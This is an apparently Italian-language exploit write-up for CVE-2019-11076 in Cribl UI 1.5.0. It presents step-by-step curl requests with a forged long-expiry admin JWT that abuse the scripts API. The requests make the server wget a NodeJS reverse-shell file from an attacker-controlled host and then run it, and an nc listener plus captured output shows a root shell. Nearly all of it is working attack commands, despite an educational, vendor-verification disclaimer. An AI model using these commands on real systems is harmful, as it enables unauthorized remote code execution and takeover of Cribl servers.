
CVE-2019-11076 - Cribl UI 1.5.0 consente agli attaccanti remoti di eseguire comandi arbitrari tramite una richiesta web non autenticata.
Questo contenuto è solo a scopo informativo/educativo.
È stato realizzato per dimostrare una vulnerabilità nello strumento, al fine di consentire al vendor di verificare una correzione.
Testato su Cribl v1.5.0 - Le versioni precedenti non sono state testate ma probabilmente sono vulnerabili.
Un token JWT valido può essere trasferito e iniettato nella sessione di un'altra istanza Cribl, concedendo all'utente accesso non autorizzato.
Inoltre, la chiave di cifratura utilizzata per generare il JWT/la sessione può essere usata per creare una sessione valida per qualsiasi nome utente, con una scadenza estesa.
Questo, combinato con la possibilità di eseguire script all'interno di Cribl, consente a un attaccante remoto di eseguire codice malevolo su un'istanza Crible per ottenere ulteriore controllo.
Un esempio di ciò è mostrato di seguito: usando la pagina degli script e un token JWT con scadenza lunga, è stato possibile creare una reverse shell.
Testato usando Docker (Alpine).
Prima, modifica (il nome dell'host remoto) e carica il tuo shell.js sul tuo webserver. Il file contiene codice NodeJS per creare una reverse shell verso il tuo sito.
Il server deve avere accesso di rete in uscita verso il tuo host/porta remota.
In secondo luogo, configura un listener sul tuo host remoto, sulla porta corrispondente a shell.js:
nc -lvp 6669
Modifica i seguenti comandi curl con il tuo file remoto.
Esegui i comandi CURL in ordine; gli output dovrebbero corrispondere all'incirca ai rientri sottostanti.
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...